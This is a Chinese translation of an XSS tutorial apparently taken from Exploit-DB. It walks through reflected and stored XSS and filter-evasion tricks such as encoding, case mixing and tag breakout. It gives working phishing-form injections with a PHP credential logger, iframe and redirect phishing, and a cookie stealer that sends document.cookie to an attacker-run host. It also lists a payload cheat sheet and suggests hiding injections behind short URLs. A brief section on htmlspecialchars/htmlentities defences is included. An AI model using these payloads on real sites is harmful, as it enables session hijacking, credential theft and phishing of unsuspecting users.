标签:
原文地址:https://www.exploit-db.com/papers/13646/
翻译:ezreal,转载请注明出处
时间:2015年9月20日
读者你好,这篇文章总结了我所知道的所有关于 XSS 的相关知识。写作的目的是分享,你可以发布,转载这篇文章,但请保留作者信息。
XSS 是 "Cross Site Scripting" 的缩写,从名字可以看出,它与脚本有关,更准确的说是Javascript。它与在网站上注入Javascript命令或脚本有关。XSS 缺陷是网站未对攻击都输入的数据做校验导致的,换句话说,攻击者可以在网站注入恶意脚本,而浏览器将会执行它。
有3种类型的 XSS,我将要讲的是其中最常见的2种:
反射型XSS:
攻击者在搜索框、urls尾部等注入恶意脚本,称为反射型XSS。这相当于向墙上扔一个球,弹回时接住它。
存储型XSS:
注入的XSS脚本永久的存在网站上,比如在留言板里。存储型XSS会危害所有访问这段代码的人。
基于DOM的XSS:
这种不是很常见,可能我需要写另一篇文章来说明基于DOM的XSS。
事实上,插入一条XSS非常容易。为了检查目标网站是否存在漏洞,只需查看搜索框等位置,我们通过下面简单的例子来说明这个问题:
index.html
<html> <head> <title>Google</title> </head> <body> <form method="get" action="search.php"> Google: <input type="text" name="search" size="20" /> <input type="submit" class="button" value="Submit" /> </form> </body> </html>
search.php
<?php echo $_GET[‘search‘]; ?>
这篇文章剩余部分,也将使用这个脚本作为例子。
我们假设这个文件在网络空间中,当输入:
123
将会访问下面的网址:
http://site.ru/search.php?search=123
并且显示:
123
但现在,我们尝试输入下面的简单脚本:
<script>alert("turtles");</script>
并且提交,你可以将turtles替换成你自己的单词,甚至使用‘‘代替"",例如:
<script>alert(‘1234‘);</script>
除了执行语句,我们还可以注入像html标签等内容:
<h1><font color="#00FF00">I like turtles</font></h1>
当然也可以将代码附加到url后面执行:
http://site.ru/search.php?search=<script>alert(‘turtles‘);</script>
或者:
www.site.ru/search.php?search=<h1><font color="#00FF00">I like turtles</font></h1>
这看起来是攻击者可以决定网站的内容一样。
但是即使上面的失败了,也不必担心,这说明网站使用了过滤技术来防御XSS攻击。但也有办法来绕过这些过滤。下面的章节将介绍它如何工作。
有很多技术可以绕过网站的XSS过滤,下面列出一些:
magic_quotes_gpc=ON 绕过
HEX 转码
混淆
不断尝试
magic_quotes_gpc=ON 是一项php配置(php.ini)
它使每个‘(单引号)、"(双引号)和 \ (反斜线 )都自动用 / 来代替。尽管仍可以被利用,但这是一种比较有名的抵御XSS的方法
当为ON的时候如何绕过呢? - 使用名字为String.fromCharCode()的Javascript函数,将你的文本转换为十六进制。
"turtles"将被转换成下面形式:
String.fromCharCode(116, 117, 114, 116, 108, 101, 115)
接下来将它插入到你的alert脚本中:
www.site.ru/google.php?search=<script>alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));</script>
Hex转码是一种有效的绕过方法,由于会将你的脚本进行转码,所以第一眼很难看出脚本功能。
下面是做法:
<script>alert(/turtles/);</script>
转换为十六进制编码后,显示成这样:
www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E
混淆 - 有时网站管理员会将script、alert()、"‘‘"这些直接放入黑名单,这意味着你在网站搜索"script"只会返回一个错误,看起就像“你不能搜索这个单词”,但这是一种弱保护,可以通过混淆来绕过。
你的Javascript代码像这样:
<sCrIpT>alert(‘turtles‘);</ScRiPt>
有许多无限的可能,但这将带领我们进入下一章节。
不断尝试:有些时候你需要不断尝试,因为每个网站安全措施都不一样,比如有的甚至不用Cookies。一定要看网站源码,有时你需要像下面这样来修正你的脚本:
"><script>alert(/turtles/);</script>
当你在搜索框注入你的代码,截断了html的标签时,这是需要的。你首先需要关闭它,并开启一个新的标签(<script>)
总而言之,有很多方法来绕过XSS过滤。
记住:不断尝试!
到目前为止,我只告诉你如何在网站上生成一个Javascript的alert消息。但现在开始,我将向你介绍XSS对网站的危害,下面是你可以利用XSS漏洞,进行的一些攻击技术:
插入钓鱼脚本
Iframe 钓鱼
重定向钓鱼
Cookie 窃取
插入钓鱼脚本:只是向目标网站插入一个"username"和"password"区,受害者可能认为这个网站需要登录。
下面是一个例子:
www.site.ru/serach.php?search=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
<div style="text-align: center;"><form Method="POST" Action="http://www.phishingsite.ru/phishingscript.php">
Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br />
<input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
<br /></form></div></body></html>
phishingscript.php的内容:
<?php
$login = $_POST[‘user‘];
$password = $_POST[‘Password‘];
$open = fopen(‘log.txt‘, ‘a+‘);
fputs($open, ‘Username : ‘ . $login . ‘<br >‘ . ‘
Password : ‘ . $password . ‘<br >‘ . ‘<br >‘);
?>
Iframe 钓鱼:很简单,只需在目标网站中嵌入一个iframe,显然,它只要长的跟目标网站差不多就行。
下面是一个例子:
www.site.ru/search.php?search=<iframe src="http://www.yourphishingsite.ru" height="100%" width="100%"></iframe>
目标网站将会在iframe中产生一个钓鱼网页,网站用户发现不了区别并进行登录。
重定向钓鱼:也比较简单,只要注入一段重定向代码,导向你的钓鱼网站,当然钓鱼网站做的要像目标网站。
下面是一个例子:
www.site.ru/search.php?search=<script>document.location.href="http://www.yourphishingsite.ru"</script>
或者:
www.site.ru/google.php?search=<META HTTP-EQUIV="refresh" CONTENT="0; URL="http://www.yorphishingsite.ru">
Cookie 窃取:XSS缺陷一个可怕的事情就是Cookies窃取攻击,这种方法中,你需要做的是:
将cookiestealers.php放到你的服务器,接着在目标网站注入一段嵌入了Cookie Stealer脚本的代码。
cookiestealer.php的内容如下:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen(‘log.txt‘, ‘a‘);
fwrite($file, $cookie . "nn");
fclose($file);
?>
将它跟一个log.txt的日志文件,一起上传到你的网站空间,放到同一目录,并设置"0777"权限
在目标网站注入下面代码:
http://www.site.ru/search.php?search=<script>location.href = ‘http://phishingsite.ru/cookiestealer.php?cookie=‘+document.cookie;</script>
接下来,当受害者访问这个页面,他的cookie将会出现在log.txt里面。现在你只需要使用这个cookie就可以了。
当然你需要将http://phishingsite.ru替换成你的钓鱼网站url
XSS对你的网站非常危险,尽管你可以简单使用下面函数来加固你的站点:
########################################################## # # # htmlspecialchars() # # http://php.net/manual/de/function.htmlspecialchars.php # # # ##########################################################
用法:
<?php echo htmlspecialchars($_GET[‘search‘]); ?>
或者
########################################################## # # # htmlentities() # # http://php.net/manual/de/function.htmlentities.php # # # ##########################################################
用法:
<?php echo htmlentities($_GET[‘search‘]); ?>
例如当我输入:
<script>alert("turtles");</script>
显示的是
<script>alert("turtles");</script>
没有任何弹窗,因为<,>,‘,"都被做了转换。
用户的输入变成了无害的、不可执行的html代码
这里是一些XSS代码的备忘,大多数来自于 http://ha.ckers.org/xss.html. 希望你喜欢。
‘‘;!--"<XSS>=&{()} <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC="javascript:alert(‘XSS‘);"> <IMG SRC=javascript:alert(‘XSS‘)> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("RSnake says, ‘XSS‘")`> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=javascript:alert(‘XSS‘)> <IMG SRC=javascript:alert(‘XSS‘)> <IMG SRC=javascript:alert(‘XSS‘)> <IMG SRC="jav ascript:alert(‘XSS‘);"> <IMG SRC="jav ascript:alert(‘XSS‘);"> <IMG SRC="jav ascript:alert(‘XSS‘);">
小提示,使用短网址来"隐藏"你的注入,让用户不知道url背后是什么
标签:
原文地址:http://my.oschina.net/cve2015/blog/508640